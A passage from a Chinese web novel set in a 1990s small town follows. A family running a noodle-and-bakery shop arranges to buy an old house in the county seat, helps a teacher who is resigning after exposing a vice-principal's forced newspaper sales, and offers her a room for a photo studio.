一分钟后又跑进来:“爸爸妈妈,是张叔叔的电话,他说有事找你们。” 赵如月吃得差不多了,站起身说:“我去接吧,你继续吃。” 她拿起话筒,跟张彦君寒暄了几句才说到正题。 赵如月听到他说的事,有些犹豫道:“张先生,你已经帮助我们很多了……” 张彦君笑道:“你不会以为这栋房子是我特地买下来,再转手给你们的吧?放心,我不会做这种事情,最多只是帮忙查一下相关信息,我查信息的渠道和人脉都比你们多,所以才先你们一步知道这个消息。” 他也知道想跟人家当真正的朋友来往,只一昧地付出是不对的,迟早有一点一方会受不了导致闹翻。 所以这次他真的只是帮忙收集了那个区域房子的信息,甚至都不是特地帮赵如月一家收集的。, 他们拆迁肯定要提前了解拆迁区的情况,以免有人弄虚作假。 毕竟他的钱也不是大风刮来的,参与进一个项目,当然想尽可能地把这个项目做好,给当地办点实事。 不求能赚多少,至少不能当冤大头亏本。 今天跟赵如月夫妻俩说一声,真的只是顺带的事。 张彦君这么一说,赵如月的心理压力就小了不少,她记下房子委托人的号码后,跟张彦君又聊了几句就挂了电话。 回到饭桌上,她没直接说张彦君打电话来有什么事,宁绍明就明白了,张彦君说的事不好让其他人知道。 等吃完饭,赵如月找了个只有自己和宁绍明在的时候。 赵如月才把告诉宁绍明:“张先生帮我们在拆迁区找到一栋合适的房子,那栋房子的房主就一个,出国后打算在国外结婚定居了,就委托朋友帮忙把卖掉,张先生给了我委托人的电话号码,你说我们现在打过去还是明后天再打?” 宁绍明看了一眼空荡荡的店里,两个孩子出去给亲戚们送面包了,估计还会在外面跟小伙伴玩一会儿才会回来。 宁时春也带着面包回老宅给爷爷奶奶和他妈尝尝,今晚不会再回来。 宁丹萍则是在房间里看书,她落下的基础太多,明年想考中专也得抓紧时间把落下的知识补上。 他们打电话不会有其他人听到:“现在就打吧。” 房子委托人的电话很快就打通了,可惜委托人因为工作调动,也不在本地。 委托人说道:“我先给我朋友打个电话,得到他的回复才能跟你们定下过去办手续的时间,在这期间,你们可以先去看看房子,房子的钥匙可以去找对门小卖部的老板拿,我离开前跟她说好了,有人看房会帮忙开门,现在那房子没有人租,你们进去可以随便看。” 赵如月:“好的,那麻烦你也跟小卖部老板说一声,我们明天下午就去看房子。” 在拆迁区找到合适的房子,他们手上的钱算是彻底不能动了。 赵如月现在倒是很庆幸,范小蓉那边一直没动静,她也不催,对这件事就是一个随缘的态度。 只是之前决定了要去买几个坏掉的MP3、MP4回来修一修练练手,她依然打算照旧去找,练到手的技能就是自己的。 练好后就算范小蓉那边的事没办成,她的维修店也能提前开起来,就专门修MP3、MP4和手机。 赵如玉电话后,想着趁着还没到去县城上课的时间,先去一趟自家闺女经常去的回收站看看,那里有没有坏掉的MP3可以买。 没想到还没出门,她爸来了,说有事跟她商量。 今天下午,陈芳妮和赵鸿发回家后。 陈芳妮就把赵如月的意思,跟家里的两个孩子和两个老人都说了。 两个孩子知道姑姑和家里人给自己撑腰很开心,也回复以前活泼的样子,不再害怕隔壁家的孩子了。 两个老人对这事比赵鸿发理解得还快,表示肯定不会拖后腿,也会看着赵鸿发,不让他犯傻。 而且赵斌从这件事里还得到了别的启发,晚上吃过晚饭就来找闺女商量:“你觉得我在县城批发一点小东西,放家里卖怎么样?” 赵如月毫不犹豫地说道:“当然行啊!你想进什么东西,我回来的时候可以帮你带。” 赵斌拿出自己和老妻的存折:“我们没干过这个,也不知道县城都有什么,你去县城的时候问问人家批发的老板什么东西好卖,给我们买点回来就行,这个存折你带着,用多少直接去取,密码是XXXXXX。” “好,那我就看着买了。”赵如月没跟她爸客气,亲兄弟明算账,亲父女也要明算账,要不然迟早会为钱闹起来。 不过想起家里剩下的角钢和配件,她给家里买角钢和配件的时候,觉得这些东西便宜就多买了些,本来是想着,也给娘家做个架子。 但是她哥嫂已经拿家里的木头去找镇上的木匠,让人家帮忙打一个电视柜。 赵如月就没提用角钢给他们做一个的事,现在剩下的角钢正好用上:“我这里还有一点做电视架剩下的材料,买那些材料便宜得很,没花多少钱,明天我就用那些材料顺便给你们做个百货的架子。” 赵斌听她说那些材料没花多少钱才点头:“我这就回去把家里打扫打扫,再多做几个小板凳,到时候别人来家里看电视也有凳子坐。” 现在的人爱热闹,跟邻里关系比较亲密,一点也不介意街坊邻居来家里看电视。 不但不介意,反而还会给街坊邻居准备一点茶水,觉得反正是自己摘、自己炒制的乡下土茶、花茶又不花钱,水也不花钱,家里热热闹闹的他们才好呢,花一份电费,能给这么多人看,这钱还花得更划算了。 忙了一天,赵如月晚上还得赶去县城上课,宁绍明也依旧去县城夜市街摆摊。 下课回家后,也不能跟以往一样,洗完澡,把今天店里的账目算清楚就能睡觉。 她跟宁绍明一到家,顾不上洗澡,就带上儿子的那些过期报纸,打着手电筒出门。 本来打算分头行动,宁绍明出门一看,今天没月亮也没星星,就说:“我们一起骑着小秋的车去,我载你,你拿着电筒给我照着路。” 他们乡下不像城里装有路灯,乡下各家各户一关灯,很多地方就是没有一丝光源的纯黑地带。 有时候走在路上以为自己是顺着路直直往前走,其实已经不自觉走歪,一个还不小心还可能摔进旁边田地的田坎水沟里。 虽说镇上淳朴的人比较多,可也有例外,宁绍明可不敢让赵如月自己一个人走夜路。 赵如月出来一看,也没反对。 只是把他摆摊的蓄电瓶和白色小灯串也拿了出来:“这个续航久,万一手电筒突然没电了,我们也不至于摸黑回来。” 镇上别的街道还好,他们家门口可是会有大车经过的大路,高速凌晨不让上路,有些车就会拐下高速,从这条路经过。 要是手电筒的电没了,他们俩一起骑着没有自带车灯的自行车在路上,被撞就完了。 以前镇上就有过这种事,肇事司机根本找不到。 两个人带着过期报纸,先去了距离最近的一家,这是宁时秋同学家。 那家人看到他们这么晚还来,还以为宁时秋没回家,父母找来问他在不在这里。 进屋后把事情一说,才知道不是,但这个同学的家长却一副习惯了的样子,小声对他们说:“我家孩子跟你家小秋玩得好,你家小秋在学校特别照顾他,所以我也不跟你们藏着掖着了。” 这话里明显有事,赵如月忙道:“你说。” “你们知道我家大宝吧?” “知道,是你家闺女吧,听说成绩特别好,去市里上了个好高中。” “对对对,她从小成绩就好!他们老师说了,我家大宝以后不出意外能考上省大!”说到自家优秀的孩子,这位家长眼睛都在发光。 但接下来要的话让她又不自觉皱眉:“我家大宝比二宝大八岁,她上小学是好几年的事情了,我想告诉你们的事,从我家大宝读书那时候开始,镇小学每年就有各种名目收钱。” “后来我家大宝上初中我就没关注了,一直到我家二宝上小学一二年级,也没遇到那些事,结果不是没有,是三年级又开始了!你知道你谁搞的吗?就是那个黄副校长!” “竟然是他?”赵如月想起那个校长的模样,有点微胖,有点矮,但是国字脸,看起来还比较正派的样子,对小学生也挺和蔼的,“他这么做,校长不管?就让他在学校里作威作福?还是都一起捞了?” “校长没背景怎么管?他怕被拉着背黑锅,早就已经在想办法调走了,可是他没背景,想调走也不容易,这么些年了,也没走成。” 赵如月又问:“听你的意思,你家大宝读小学的时候,也有学生家长闹过吗?结果不尽人意?” 估计事情过去太久,赵如月真想不起来了。 不过其实事实已经摆在眼前,如果结果好的话,到二宝的时候,不会还有过期报纸这个事。 “怎么没闹,那时候你估计还没孩子,不怎么关注小学这边的事。” 这位家长喝了一口水,清清嗓子陷入回忆:“让我想想,好像我家大宝那时候,也是从三年级开始,我记得那时候请了个什么讲师,做什么感恩讲座? 反正叽里呱啦说了一大堆,跟洗脑似的,说得一群孩子在台下哭得稀里哗啦的。 有些家长去听了,也跟着抹眼泪,那个讲师还让孩子上台去,拿着话筒,边嗷嗷哭边说什么……以后要孝敬爸妈之类的话,我记不太清了。 就记得到后面,话音一转,人家开始卖书了,卖的还是跟讲座八竿子打不着的什么数学速算……还是速记书来着?我给忘了,反正就两本书,用一个硬壳的盒子装着,你猜猜多少钱?” 她问完,不等赵如月猜,自己直接就说出了答案:“一百块钱!九几年的一百块钱呐!你想想那时候镇上干活一个月才挣多少钱?两本书,才这么点厚,他卖敢一百!” 说着用两根手指比划了一下那两本书的厚度,赵如月看着觉得也就跟小秋数学课本那么厚。 那家长继续有些激动地说:“很多家长这次没反应过来,后来过了一段时间,又来一次,不是讲座,是什么圆规还是尺子的,画图的东西,用笔加上那个东西转着圈画,能画出一些好看的图案。 这个东西上课根本就用不上,还忽悠着学生买,有些家长不乐意,想退又退不掉,就闹起来了。 那时候这个黄副校长还只是什么主任,结果闹完什么事都没有,人家还升副校长了! 有人就猜他是不是上头有人,后来还真查到,人家不但县里有人,市里也有,咱们这小地方,根本动不了他!” 赵如月和宁绍明听完不由担心起纪老师的处境:“我们也猜到了,只是不做点什么,感觉心里难受。” “唉,你们也是好心,到时候要是需要人一起去闹,人多的话,算上我一个,愿意去的人少就算了,我怕我家孩子被针对。” 她是想着,人多那个黄副校长也没法专门针对谁,混在人群里还比较安全。 说完还提醒他们一句:“可千万别让他知道,是你们私下底找的人一起去闹,要不就做好给你们家孩子转学的准备吧。” 在这里耗费了不少时间,离开的时候,赵如月看了一眼这家墙上挂的钟。 时间竟然已经将近十二点了,他们从县城回来,到家的时候是十点四十左右,大概十点五十出门来到这里,也就是说只第一户人家他们就花了一个多小时。 “本来以为走一圈要不了多久,一家十来分钟足够了,没想到只第一家就花了那么多时间。” 他们都还没洗澡,现在回去的话,回到家估计也到十二点了。 再洗个澡,躺床上最快也是十二点半。 赵如月想着明天还要早起开店,就说道:“我们先回去吧,明天再去下一家。” 不管怎么样,总得努力试试。 没曾想,第二天早上,纪慧萱竟然来了店里。 第104章 “老板,我一碗羊杂煮米粉,”纪慧萱走进店里,熟练地站在柜台前点单,看到柜台旁边多了个用透明盖子盖着的盒子,“咦,你们这里上新品了?” 赵如月惊讶道:“纪老师来了,这是小秋爸爸刚做的菠萝包和古早蛋糕,送你一个尝尝。” 纪慧萱忙道:“不用不用,你们家米粉量很足,我吃一碗米粉就很饱了。” “早上不吃,可以带回家等饿了再吃呀!”赵如月不顾她摆手拒绝,直接扯下两个旁边挂着的小塑料袋,给她装了一个菠萝包和一个切成三角形的古早蛋糕。 纪慧萱只好有些不好意思地说道:“那我就厚着脸皮收下了。” 赵如月笑笑:“一点小心意而已,你只管收下。” 她说话的时候,一直在不动声色地观察纪慧萱的脸色,在她脸上不但没有看到在网吧看到她时那种紧张感,反而还觉得她现在看起来,比以往所有见到她的时候都平和很多。 宁时秋早上起床后也在店里帮忙干点活,看到自己班主任也跑过来打了个招呼。 放假前很多老师都会来他家的店里吃东西,但放假后,有些老师去旅游,有些老师回老家,有些老师假期有空自己做饭或者可以睡懒觉了,来得就比较少。 他班主任其实假期期间也不常来,宁时秋就以为她今天特地这么早来,是为了过期报纸的事:“老师,你是特地来找我爸妈说那件事吗?” 纪慧萱拍了拍他的肩膀点头:“这件事很快就会有个结果了,你放心吧。” 宁时秋点头:“嗯!谢谢老师!” 米粉很快就做好了,早上外面的位置比较凉快,纪慧萱就把自己那碗米粉端到外面的位置,看着熟悉的景色,一口一口慢慢把东西全都吃完。 以后可能就看不到了,她还挺舍不得宁时秋家的店,可惜自己老家不在这边,回去的话在想来,几乎不可能了。 她吃的速度很慢,吃完后,第一波客人高峰期已经过去。 看到赵如月闲下来,她才放下筷子,走过去:“小秋妈妈,我有点事想跟你说,可以借一步说话吗?” 赵如月有些意外地点头:“当然可以,我们去后面院子里说?这个时候院子里一般没人。” 纪慧萱点头,跟着赵如月走出店外,拐到另一扇直通后院的门,走进后院。 “纪老师你是不是要说过期报纸的事?”赵如月主动问道。 纪慧萱毫不意外她会猜到自己想说的是这件事。 毕竟宁时秋在学校一向是个很让老师省心的学生,在家也是个让家长省心的孩子。 除了这件事,她这个班主任在假期期间,也没别的事需要来找家长说了。 但她接下说的话,却让赵如月既意外又无奈。 纪慧萱带着欣慰的笑说道:“小秋妈妈,我非常感谢你和小秋爸爸对我的支持,但是希望你们不要再去找其他家长了,我知道你们想帮我,可是我已经决定辞职了。” “什么?”赵如月不由瞪大了眼睛,她本来以为昨晚那位家长的嘴巴会比较严,也特地叮嘱过这件事暂时别跟人说。 没想到那位家长嘴巴跟个漏勺似的,藏不住一点事,转头就把这事跟纪慧萱说了。 那她和宁绍明还能去找其他家长说吗? 赵如月觉得这件事情没准现在已经传遍整个镇了,压根用不着他们俩再苦兮兮地一家一家跑。 “纪老师,你何必……”她觉得很可惜,这位刚毕业没几年的年轻老师对学生很负责任,还懂得很多老教师不懂的新东西。 像是电脑,小学没有微机课,宁时秋还没上过这样的课,但是在纪慧萱的耳濡目染之下,已经知道那是什么东西,怎么用。 要是把他带到一台电脑前,让他用,他都不用像他爸一样,开机还要人教。 现在多得是老师说普通话还夹杂着一大堆方言,甚至英语老师也是这样。 他们这种小地方,能有一个给孩子开拓眼界的老师真的很难得。 纪慧萱反而对自己辞职的事情接受良好,她已经释然了:“其实早在我决定要管这件事的时候,我的内心深处,已经做好了辞职的准备,这件事能有一个令人满意的结果,我的努力也算没白费。” “可是这事连累得你失去工作,怎么能算有一个令人满意的结果呢?做错事的明明不是你,却让你承担了后果。” 纪慧萱不知道赵如月知道网上的事,简单地说道:“这件事在你们不知道的地方已经闹大了,很快就会有调查组下来调查,我也不是那么快就辞职,会等到真的有了结果再走。” 走不走其实也由不得自己。 理论上来说,自己确实可以不走。 但是现实是,黄副校长因为她被收拾了,连这个小镇子都待不下去,要么只能去干别的,要么被调到更穷、一点油水都捞不到的地方。 黄副校长背靠着的那些人,大概不会让她好过。 人家随便在学校拉拢几个她的顶头上司或者老教师,平时搞点事情针对她,就够她受的。 到时候八成也要走,现在能体面地走,为什么等到受尽工作折磨再走呢? 还不如早点找出路。 想一直待下去,除非她是个忍者,能熬到黄副校长的靠山们也被查,或者被调走、甚至退休。 纪慧萱那天在网吧冷静下来后,认真思考过,觉得那样也太难了,何必呢? 一直处于压抑的环境中,可能还要应付比以前更辛苦的工作,到时候可不要人家没事,她先熬得身体受不住了。 纪慧萱豁达地说:“有一句谚语是这么说的:福兮祸所伏,祸兮福所倚,辞职现在看来是坏事,以后未必。 更何况我也不是没有其他的生存方式,这个其实还要感谢你们家,要不是你们六一的时候第一个愿意找我拍照,给了我一个副业的开门红,我现在也没有辞职的底气。” “纪老师打算今后开个照相馆,专门给人拍照?不知道是在镇上开还是在县城开?在镇上开的话,学生们都认识你,肯定会去帮衬你的生意,我家也是,每年都会带孩子们去拍照留念的。” 赵如月也没说谎,六一之后,他们家后来又找纪慧萱拍过一次,还打算等到宁时秋生日,再请在宁时秋生日当天来家里拍照,要是还能录像刻成光盘留念更好。 赵如月这么想的,也就这么跟纪慧萱说了。 纪慧萱倒是没想到今天来说这件事,竟然还能给自己拉一桩生意:“小秋是中秋节前生日吧?那时候我估计还没走,肯定能来给你们拍照,录像也行,只是等我辞职之后,不一定会留在镇上了。” 赵如月不解地问:“为什么,是担心被报复吗?纪老师你可以放心,那个黄副校长在镇上没亲戚,他再厉害也不能在镇上一手遮天的。” 纪慧萱说:“我也不是怕他,在学校时,他是领导,我是普通老师,可能还要顾忌点他,但那时候我都辞职了,离了学校那环境,他又算什么,只是镇上想租房比较难,几乎没有出租的房子,我可能要么在县城,要么回老家。” “在县城好啊!”赵如月眼睛一亮,“镇上学生都是你的人脉,比较有利于你创业初期打开局面,要是镇上有人想找你拍照,你回去也方便。” “店面的事你也不用担心,我们家在县城刚买了四间平房,打算用三间做生意,一间放着不知道做什么用,反正空着也是空着。” “你要是留在县城的话,我可以暂时把那间房借给你开照相馆,刚开始创业肯定比较困难,半年后你要是还继续在那里开,我再收你房租。” 赵如月激动之下,一连说了一大串,说得纪慧萱都懵了。 事情的发展完全出乎纪慧萱的意料之外。 她知道这样是占人家便宜,县城的房子,哪怕是平房,想租肯定能租得出去。 她知道自己该拒绝,可是现实的问题摆在面前,这就是自己需要的东西,非常非常需要。 回老家说起来轻巧,真的回去后,家里没有她一个房间,没有她的位置。 回去只会有一个结果,被家里人逼着嫁人,要不当初她也不会不管不顾地,就跑到这么个离家很远的小镇当老师。 “那、那真的太感谢你了。”纪慧萱决定厚脸皮一回。 当初开始做副业的那天,她不也因为厚着脸皮问宁时秋要不要拍照,后来才能靠着副业有了辞职的底气吗? 如果自己的照相馆真的开起来了,有收入了,她可以再把初期这段时间的房租补上。 要是创业失败了,大不了她就去大城市打工,挣了钱回头再补人家的房租钱。 能帮得上忙,赵如月心里也很高兴。 她笑着说:“不用谢,是我该感谢你,小秋能遇到你这么好的老师,也许对他一生都有一个正面的影响,对了,纪老师你辞职后,刚开始还是只打算给人拍普通的纪念照吗?” 纪慧萱幻想过无数次自己如果不当老师,当摄影师的话,要怎么赚钱。 所以赵如月一问,她想都不用想就脱口而出:“刚开始大概只能‘打游击’,到处跑给人拍照,得闲多积攒一些资金和人脉,才能布置照相馆,买一些设备道具什么的,给人家拍艺术照或者结婚照、结婚录像什么的,我打算到时候把县城周边的镇子都跑一遍。” 赵如月想了想问:“你有没有想过,另一个你在周边镇子跑的时候,还能做的事?” “你的意思是拍风景照,还有一些百姓民生照和反应社会各行各业的照片投稿给杂志报纸吗?我也拍过,不过可能技术还不到家,目前反响平平。” 说道这个,纪慧萱自己也有些遗憾,那是她大学时就尝试拍摄的东西,当时还想着,能凭借那些照片,跟杂志社签约当个专职签约摄影师该多好。 赵如月却摇头说:“不,我的意思是,给老人拍黑白照,也就是遗照,不知道你会不会忌讳这个,很多镇子没有照相馆,有些老人会自己悄悄提前去县城拍一张黑白照留着。 但更多的老人连县城都没去过,死前也没法去了,连一张照片都没留下,他们自己和家人肯定会觉得很遗憾,你去给他们拍照的话,也许还能顺带再挣个拍全家福的钱。” 据赵如月所了解的,其实很多老人都喜欢拍照片,不只是遗照,普通照片他们也喜欢,只是平时没人说,他们自己就很少想起来拍张照这个事。 再加上出一趟门去照相馆太麻烦了,他们往往会把路费也算到拍照的费用里,那样拍照的价格对他们来说就偏贵了。 有人上门拍照,还洗好送过去,无疑给他们解决了很多麻烦,愿意拍的人不会少。 只是摄影师的利润就比较低。 “你这个建议给了我一个很好的启发,太感谢你了!”纪慧萱这次甚至激动到忍不住握住赵如月的手。 反应过来后,她才不好意思地松开:“抱歉,我太激动了。” “这有什么,你又不是男的,那我们就这么说定了,那间房我给你留着。” 赵如月想着帮人帮到底,送走纪慧萱后。 她去跟宁绍明说了纪慧萱的事,然后跟他商量商量:“等我们开始着手修整家里要用来开店的那三间平房时,顺便把要给纪老师用的那间房也简单修整一下吧?” 宁绍明没多想就应下了:“行,你打算怎么弄?” 赵如月说:“我是这么想的,给纪老师和给我开修理店的那间,保留里面可以住人的小房间,其他的你自己看着办,这两间修整一下墙面和门窗,水电,我打算考个电工证,自己去做,我们也能省点钱。” 他们自己的店有一间也做了隔间的话,以后宁绍明和两个孩子赶不及回去的时候,也可以临时住一晚上。 电工证这个,之前是她不知道,后来上了夜校跟同学聊天才知道,电工证初中毕业就能考,她已经开始看书了。 看过书之后赵如月觉得,其实这些也不难,她以前读初中偏科就偏理科,现在也有在学校学习的经验了,看书学习养成了习惯,能看得下去,学起来就觉得很简单,对自己考证这件事非常自信。 赵如月继续说道:“等大致修整好了,再给纪老师那间的里间,放一张一米二足够她自己睡的小木床。” 不过他们来准备的话,就真的只有一个床了,床上大概只有席子。 床垫褥子什么的纪慧萱就得自己置办。 这么算下来赵如月自家修整下来,也花不了多少钱,就是忙了点。 联系其他学生家长的事,赵如月和宁绍明不打算再继续做。 第一天找的第一个人都把消息泄露出去了,这事能成才怪。 倒是有不少家长在他们去的第一个家长哪里听说了这事,还特地跑来问。 赵如月只能说:“我现在也不知道,只能等消息了,现在还在放暑假,去学校找也不知道找谁负责,知道找谁负责也不一定能找到人。” 有些想退报纸把钱拿回来的家长不死心地说:“那班主任和老师不管吗?” “班主任和老师怎么管?钱都没进她们兜里,班主任和老师就是那在中间传话、干活受夹板气的,找她们也没用。 前几天小秋班主任来我店里吃米粉,还说她们工资又拖着没发。 以前她还能隔三差五就来我店里吃一次米粉,每次买一碗米粉在店里吃完,还要打包一个热狗面包或者杯子蛋糕铜锣烧什么的回去吃,现在你看看,有多少老师还经常来的?” 其实是放假了,老师们才来得少了。 但这些家长不知道真实情况是怎么回事,赵如月就这么说了,他们也不会去深究去查。 “那老师总能知道收钱的人在哪吧?听说都住学校里。” “人家不是还有老家?万一闹得过了,有人去报信,人家缩在老家不来了,我们能怎么着?” 那几个家长都叹气:“唉,早知道就不交钱买这个什么破报纸了,那上面的墨糊得跟锅底似的,真是浪费给钱。” “是啊,要不是我家那败家子闹着要买,我本来也不想给他买的,现在怎么样,白瞎钱了吧!八个月的报纸钱一次给出去,也好几百,可不少了!” “那时候不买也不行,人人都有,就自家没有,还能让自家孩子巴巴看着别人?” “算了不说了,只能等消息了,老板娘,改天要是还有老师来你这买东西,你可别忘了帮我们问问这事的后续。” 赵如月应下了:“放心,我家也花钱了的,虽然不去闹了,但肯定也得盯着这事,别看我们开店做生意好像挺挣钱,其实也累得很。 你们看看厨房里我家孩子他爸和孩子他堂哥,成天累得满身汗,颠勺颠得手抽筋,家里花钱的地方也多,买的那个商用烤箱就花不少钱。 对了,店里用烤箱烤了新品面包和蛋糕,你们要不要尝尝看?” 有个家长开玩笑道:“尝尝要钱不?要钱我可不敢尝。” “这话说的,尝尝还能要你们钱?”赵如月拿出装着被分成小块的菠萝包和古早蛋糕的盘子,“拿着牙签自己扎,还不脏手,你们随便尝。” 他们这一尝,赵如月又卖出去好几份,甚至有个家长还抱怨她准备的太少了,自己买到的回去不够分。 宁绍明今早上做烤的东西,到这时候就全卖完了。 倒是他准备的东西少,开店好几个月,也陆陆续续出过好几次新品。 他现在做东西已经不像刚开始时那么保守,做多少能卖完,他心里早就有数。 只是宁绍明仍旧低估了自己店里卖的东西,在镇上的稀缺程度。 整个镇子就他们家这么一家店,卖每天新鲜现烤出炉的面包,独一份的生意,做出来的东西根本不够卖。 有老熟客听说消息迟了一点,赶过来想买,已经没有了。 催着宁绍明赶紧再做点。 宁绍明说:“现烤要挺久的。” 客人知道他家下午就会把电视和影碟机推到店里看,才掐着点来的,有些客人跟他一样。 听到宁绍明的话,他们直接往椅子上一坐说道:“没事,我时间多得很,听说刚出炉的才最好吃呢。” 宁绍明看看了看时间说:“那行,我现在做。” 幸好他也不是没有准备。 他提前放了一些面团在冰箱里,现在拿出来,盖着干净的纱布放在室温下缓一缓,很快就能用了。 本来这些面团是想着,下午做一些,晚上带到夜市街卖。 现在只能是卖不完再带去了。 赵如月也暂时闲了下来,她干脆带上竹斗笠出门一趟,去做昨晚没能做的事——去镇上的回收站。 昨晚本来就要去看看有没有坏掉的MP3、MP4,但她爸突然来了,两人商量家里批发东西回家卖的事耽搁了。 赵如月这会儿带着闺女去。 到了地方,就见闺女熟门熟路地进去大声喊:“老板!老板快出来!” “来了来了!”老板端着碗出来,看到宁时夏就问,“你又攒够破烂来卖了?这回怎么不是跟你爷爷一起来?” 宁时夏:“我跟我妈妈不是来卖东西的,我们是来卖的东西的,你这里有MP3、MP4没?我妈妈想买几个回去研究研究。” “哟,还说什么研究研究的,你妈妈是科学家啊?” 宁时夏叉着腰抬着小下巴:“我妈妈不是科学家也会研究这个,她可厉害了,全天下、全宇宙最最厉害,不信你拿出来让我妈妈试试!” 一听宁时夏说到买东西这事,回收站老板就肉疼。 早知道那两台电视宁时夏的妈妈真会修,自己找过去花点钱让她妈妈帮忙修多好,转手一卖,没准能挣个一千块钱。 结果被那两个小屁孩捡漏了。 这会儿他手头上确实收到了几个坏掉的MP3和MP4,但他不想卖:“没有,我们这里有这些玩意儿的人不多,我哪能收得到?你们想买得去县城找找。” 宁时夏信以为真,只好遗憾地说:“那好吧,不能见识我妈妈的修理绝技,是你的损失,妈妈我们走吧?” 孩子看不出来,赵如月却看得出来老板没说实话。 但人家的东西不愿意卖,她也不能强买强卖,只能牵起女儿的手打道回府。 好在赵如月下午去县城后,看完张彦君推荐的那栋房子,又让郑秀带自己去县城的几个回收站逛了一圈,确实收到了好几个。 张彦君推荐的房子确实不错,首先层高不低,足有三层。 其次总体面积不算小,而且前后院,竟然种着两个树龄看起来有几十年的老树,这些树拆迁的时候也会得到一定的补偿。 最后楼龄挺大的了,这户人家应该是改开后最早一批发家的人,不然那个时候靠着死工资,在县城建不起三层楼。 那时候建房子的成本低,现在卖家不会再回来了,只想早点处置掉,再加上楼龄比较大,价格刚好在她和宁绍明能承受的范围内。 赵如月把钥匙还给这栋楼的邻居小卖部老板娘,顺便就在她这里给委托人打了个电话,想问问还有没有讲价的空间。 她跟委托人打了招呼后,对委托人说道:“我觉得这房子不错,不过就是楼龄太大了,需要修整的地方比较多,屋里很多东西都坏了,我们处理起来也要花钱,麻烦帮我问问房主,价格方面,能不能再少一点?” 委托人说:“我可以帮你们转述,但是也希望你们能尽快做决定,不然我的假期结束,可就找不到时间回来处理这件事了。” 说完后挂了电话,小卖部的老板娘还问她:“现在的人都喜欢去买小区房,钱不够贷款都买,你怎么偏偏要买这种老房子?” 赵如月当然不会跟刚认识一天的人说实话:“我们也是听说现在要在县城有房子,孩子才能来县城读书,才起了来县城买房子的念头。 但是我跟我老公收入不稳定,存款也不多,担心贷款买商品房以后还不上,不敢冒险就只能来找这样的房子了,买这个旧是旧了点,以后压力也小啊。” “也对,你们夫妻俩是有远见的,在县城读书确实比周边的村镇好,等以后孩子有出息,再让孩子自己买商品房,我跟我家孩子也这么说,父母的能力就到这里了,以后要他们自己努力才行。” 赵如月随便跟小卖部老板娘扯了几句,就说还有事离开了。 她一走,老板娘就拿起了电话,拨通跟赵如月同样的号码。 对着电话那头的人说:“我问过了,来看房的人说是为了孩子读书,手头存款又不多,才想买这边的房子,她看房看得特别仔细,还问我院子那两棵树能不能砍,砍了会不会不太好,有点担心把树砍掉会影响风水,又想给孩子腾出大一点的地方活动。 我觉得应该她是诚心想买,不诚信哪会问这些。 你想想,我们这一片,看起来虽然破旧,但是县城的示范性小学和初中都能读,为了这个来买房子,准没错的,也就是现在知道这个的人少,才都嫌弃这里。 你给国外打电话的时候跟那谁说,价格合适就卖了吧,他不愿意分开一间一间租给别人,也没人愿意多花钱直接租一整栋这种破房子,这房子吧,留着没人住也容易破败,以后更难出手了。” 电话那边的人说:“行,我会跟他说的,那就这样,挂了。” “等等,我帮他管钥匙和看房子的费用,最后一个月怎么算?” “不够一个月也给你一个月的行不行?” 又白得一个月的钱,小卖部老板娘高兴得眉开眼笑:“哎呀,这才叫大气!那挂了。” 晚上,郑秀先去接赵如月,然后拐到夜市街接宁绍明。 两个孩子最近几天都不跟着他们来县城了。 因为他们每天把自己的时间安排得满满当当,在家看电视、看影碟、听音乐、看漫画书、看故事书,还有写暑假作业,竟然感觉自己时间不够用。 原本说好的,每天接送妈妈上学的计划,执行得略显敷衍,就看着她和宁绍明上车,然后站在门口挥手说再见,就当是送他们上学了。 赵如月回到家,两个孩子已经自己洗好澡。 宁时夏现在也学会自己洗澡了,只是人小,偶尔给自己搓得不够干净,赵如月隔个几天还得专门给她仔细搓一搓手肘之类的地方。 赵如月走进院子的时候,宁时夏刚从洗手间出来,看到她就扑了上来:“妈妈终于放学了,我可想你啦!” “真的吗?”赵如月故意做出伤心的样子,“今天都没人送我县城上学,我看别人的爸爸妈妈都有孩子接送,就我没有。” 宁时夏可不会上当,她对妈妈班上同学的情况那叫一个了如指掌:“妈妈骗小孩,你班上的好多叔叔阿姨都没有人接送,我全都知道!” 赵如月继续装:“可是我被你们惯得都习惯你们接送我了,今天没接送,我好伤心,怎么办呢?” 她一说自己伤心,宁时夏就着急了:“妈妈你不要伤心,我今晚给你讲故事,讲好几个好不好?” 赵如月看女儿一本正经的样子,也跟着装得一本正经:“好,等我洗完澡就去找你。” 洗完澡到女儿房间一看,没人,宁绍明悄悄给她指了指他们的房间,:“在我们房间里等你呢,还不让我进去,说今天是专门给妈妈讲故事,别人不能听。” 赵如月看他语气酸溜溜的,没忍住,捂嘴笑了好一会儿才进去。 本来还以为女儿会坚持不住睡着,没想到竟然坚持着没睡。 看到她进去就拍了拍身边的枕头:“妈妈快来躺下,我要开始讲故事了,今天换我讲故事哄你睡觉。” “好,我来了!”赵如月过去躺下,开始听故事,“可以了,我躺好了。” 宁时夏翻开她的故事书,认真地指着目录,学着老师的语气:“好的,那么亲爱的小朋友们,不对,亲爱的大朋友,我今天给你讲的故事是《拇指姑娘》,从前…………” 讲完一个,她没讲过瘾,讲了一个又一个,她爸爸洗完澡,也不能进来听专门讲给妈妈听的故事专场。 宁绍明拿她们娘俩没办法,只能在堂屋里,边算着今天的账目,边等待女儿的指令。 中间宁时秋从自己房间出来上厕所,路过堂屋,父子俩对视一眼。 宁时秋赶紧假装打了个哈欠:“好困啊好困,上完厕所得赶紧睡觉了。”说完拔腿就跑。 只有妹妹这个小傻瓜,才会以为大人睡觉前,也需要讲睡前故事哄着睡。 宁绍明:“……” 过了大概不到半个小时,房间的门忽然被打开。 宁绍明转头看去,就见赵如月小心翼翼地抱着女儿出来,憋着笑,用气音小声对他说:“咱宝贝闺女说好的哄我睡觉,结果故事讲着讲着,声音越来越小,倒是自己把自己哄睡着了。” 宁绍明放下手里的账本走上前:“这小胖墩现在挺重的,我来抱过去?” “不用,我抱得动,换来换去孩子容易也醒,”赵如月抱着孩子走了几步,突然想起忘了一件事,“光顾着逗闺女玩,忘了把给我爸批发的东西送过去了。” 宁绍明看了一眼时间:“这个点他们应该都睡了,明天早上我出门买肉再顺便送过去。 对了,我刚听小秋说,你给出的那个主意开始见效了,小秋把家里的碟片全送了过去,一张没留,说先在那边放,他也带着小夏去凑热闹。 现在小桥街上的孩子都爱去你娘家看电影,估计我们大桥街的孩子也快了。” 第105章 暑假期间开小卖部不算一个很好的时机,因为现在的小孩子们,在暑假根本没有零花钱。 要是在上学的时候,如果早餐不用到外面买着吃,镇上的家长大部分会早上给孩子两毛零花,下午上学又给两毛。 